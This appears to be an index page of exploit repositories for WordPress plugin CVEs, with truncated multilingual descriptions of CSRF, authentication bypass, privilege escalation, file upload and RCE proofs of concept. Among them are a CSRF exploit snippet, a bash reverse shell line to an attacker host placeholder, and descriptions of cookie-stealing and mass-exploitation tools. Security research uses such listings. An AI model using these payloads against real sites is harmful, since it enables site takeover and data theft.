CVE-2025-12189

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによる育成 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank';...

CVE-2022-47447

CVE-2022-47447 POC CSRF - CVE-2022-47447 ⚠️ 教育目的および認可された環境でのみ使用してください。 CVE-2022-47447 の脆弱性に対する機能する PoC です。この脆弱性は脆弱な WordPress プラグインに影響し、認証済みユーザーに対するクロスサイトリクエストフォージェリ CSRF 攻撃を可能にします。 脆弱な URL: /wp-admin/admin.php?page=WPAdvancedSearchCallbackStyles...

CVE-2025-10377

CVE-2025-10377 の概念実証: プラグイン System Dashboard におけるクロスサイトリクエストフォージェリ CSRF 関数 sdtogglelogs 脆弱性タイプ: クロスサイトリクエストフォージェリ CSRF 影響を受ける関数: sdtogglelogs CVSS v3.1: 4.3 中 ベクトル: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N 注記: スコアは管理者権限を持つ被害者とユーザー操作を必要とする不正な状態変更を反映しています。 脆弱性の説明: 関数 sdtogglelogs...

CVE-2026-8732

⚔️ CVE-2026-8732 WP Maps Pro ≤ 6.1.0 — 未认证权限提升 8 阶段自动化利用 | Multiprocessing + Asyncio | 已验证的管理员创建 🎯 关于漏洞 WordPress 插件 WP Maps Pro 版本 ≤ 6.1.0 存在未认证权限提升 漏洞。攻击者无需任何凭据即可创建 administrator 帐户并完全控制网站。 该漏洞源于专为 FlipperCode 供应商支持团队设计的 "Temporary Access" 功能，但该功能在缺乏充分保护的情况下暴露给公众。 信息| 详情 ---|--- CVE|...

rcno-reviews

Recencio Book Reviews WordPressプラグインで、書籍レビューの管理・表示を行います。カスタム投稿タイプ、7つのタクソノミー、13のショートコード、7つのウィジェット、6つのテンプレート、5つの拡張機能を備えています。すべてのデータは標準のWordPress投稿メタに保存され、カスタムテーブルは使用しません。 背景 Recencio Book Reviews は Kemory Grubb w33zy によって作成され、WordPressプラグインディレクトリに公開されました。Kemory は2024年に亡くなりました。このプラグインは、既知の保存型XSS脆弱性...

CVE-2026-8732

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0 ♡ 인증되지 않은 권한 상승을 통한 관리자 계정 생성 ♡ === shadow ♡ & friska === 📋 취약점 정보 필드| 세부사항 ---|--- CVE ID| CVE-2026-8732 CVSS 점수| 9.8 심각 CVSS 벡터| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 유형| 중요 기능에 대한 인증 누락 플러그인| WP Maps Pro wp-google-map-gold 영향 받는 버전| 모든 버전 ≤ 6.1.0 패치 버...

CVE-2025-4796

CVE-2025-4796 eventin and update the speaker email to an email they control. then the attacker can use wordpress password reset to take over the admin account. requirements: python 3.8 or higher requests install requests: pip install requests usage run the script and enter required values when...

CVE-2025-14440

CVE-2025-14440 JAY Login & Register -id 引数: -u または --url: 対象サイト（https:// の有無は問いません） -id または --id: 悪用するユーザーID（例：管理者なら 1） 📈 期待される出力 悪用が成功した場合 、以下が表示されます： 抽出されたセッション Cookie が画面に表示され、 サイトと関連する Cookie が extractedcookies.txt に保存されます 悪用が失敗した場合 （サイトが脆弱でない、ユーザーIDが無効、またはパッチが適用されている場合）、スクリプトは丁寧に通知します...

CVE-2025-6440

CVE-2025-6440 WooCommerce Designer Pro = 1.9.26 - Unauthenticated Arbitrary File Upload Description WooCommerce Designer Pro plugin for WordPress, used by the Pricom - Printing Company & Design Services WordPress theme, is vulnerable to arbitrary file uploads due to missing file type validation i...

CVE-2026-0920

CVE-2026-0920 - WordPress Plugin LA-Studio Element Kit / Unauthenticated Privilege Escalation A proof-of-concept exploit for CVE-2026-0920 , an unauthenticated privilege-escalation vulnerability in the LA-Studio Element Kit WordPress plugin. The vulnerability allows an unauthenticated attacker to...

CVE-2026-82222-MassExploit

CVE-2026-82222 — GiveWP WordPressプラグインの認証不要RCE -red.svg 重大な認証不要リモートコード実行（CVSS 9.8）— GiveWP ≤ 4.16.7.1 このツールは、WordPressのGiveWP プラグインにおけるCVE-2026-82222 の脆弱性を悪用します。この脆弱性により、認証されていない攻撃者 がPHPオブジェクトインジェクション（POPチェーン）のデシリアライゼーション攻撃を介して、サーバー上で任意のコマンドを実行できるようになります。 ⚠️ 脆弱性の概要...

CVE-2025-0316-Exploit

CVE-2025-0316-Exploit CVE-2025-0316 Exploit ツールキット 🚨 WordPress プラグイン WP Directorybox Manager 🔥 CVE-2025-0316 向け自動エクスプロイトスクリプト — 脆弱な AJAX アクションを介した認証バイパス ⚠️ 法的通知 このツールは以下の目的にのみ使用されます: 研究 レッドチームシミュレーション 許可されたセキュリティ評価 同意なしにターゲットに対してこのツールを使用することは違法です。 🛠 機能 🔍 ?author= トリックによるユーザー列挙 🚪...

CVE-2026-8181-PoC

🚨 CVE-2026-8181 | Burst Statistics Authentication Bypass -brightgreen.svg?style=for-the-badge !CAUTION CRITICAL ALERT: This vulnerability allows an unauthenticated remote attacker to bypass authentication and gain full Administrator privileges on the target WordPress site by simply injecting a...

CVE-2024-1813-POC

CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - 未認証のPHPオブジェクトインジェクション 🎥 概念実証デモ エンドツーエンド: ゲストが公開アプリケーションフォームを通じてシリアライズされた PHPオブジェクトを保存し、管理者が応募者リストを開くと、ガジェットチェーンがウェブシェルをドロップします。 WordPressプラグイン Simple Job Board （PressTigers）における未認証の PHPオブジェクトインジェクション。ゲストが公開アプリケーションフォームを通じて...

CVE-2025-7955

CVE-2025-7955 RingCentral Communications 1.5 - 1.6.8 - サーバーサイド検証の欠如による認証バイパス（ringcentraladminlogin2faverify 関数） 🚨 CVE-2025-7955 | RingCentral Communications WordPress エクスプロイト 📝 脆弱性の概要 CVE: CVE-2025-7955 影響を受けるプラグイン: RingCentral Communications WordPress 影響を受けるバージョン: 1.5 – 1.6.8 CVSS スコア: 9.8...

cve-2026-7665

CVE-2026-7665 — Essential Addons for Elementor의 인증되지 않은 정보 노출...

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946：将一次预约 ID 变成别人的预订 我发现 WordPress Easy Appointments 插件中存在一个未经身份验证的不安全直接对象引用。公共预约端点接受查询字符串中的 id，并将结果数据传入插件数据库的 replace 路径。 这意味着新的公共预约请求可以变成对现有预约行的更新。无需登录、Cookie 或 WordPress 账户。只需提供另一个预约的主键，选择一个真实的空闲时段，插件就会用攻击者控制的客户和预约数据覆盖该预订。...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2026-3844

CVE-2026-3844 PoC exploit for CVE-2026-3844, a critical unauthenticated file upload vulnerability in the WordPress Breeze plugin leading to RCE...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Docker上のWordPress Really Simple Security認証バイパスの脆弱性 説明 WordPress用のReally Simple Securityプラグイン（Free、Pro、Pro Multisite）のバージョン9.0.0～9.1.1.1は、認証バイパスの脆弱性の影響を受けます。 この問題は、二要素認証REST APIアクションで使用されるcheckloginandgetuser関数におけるエラー処理の不適切な実装に起因します。...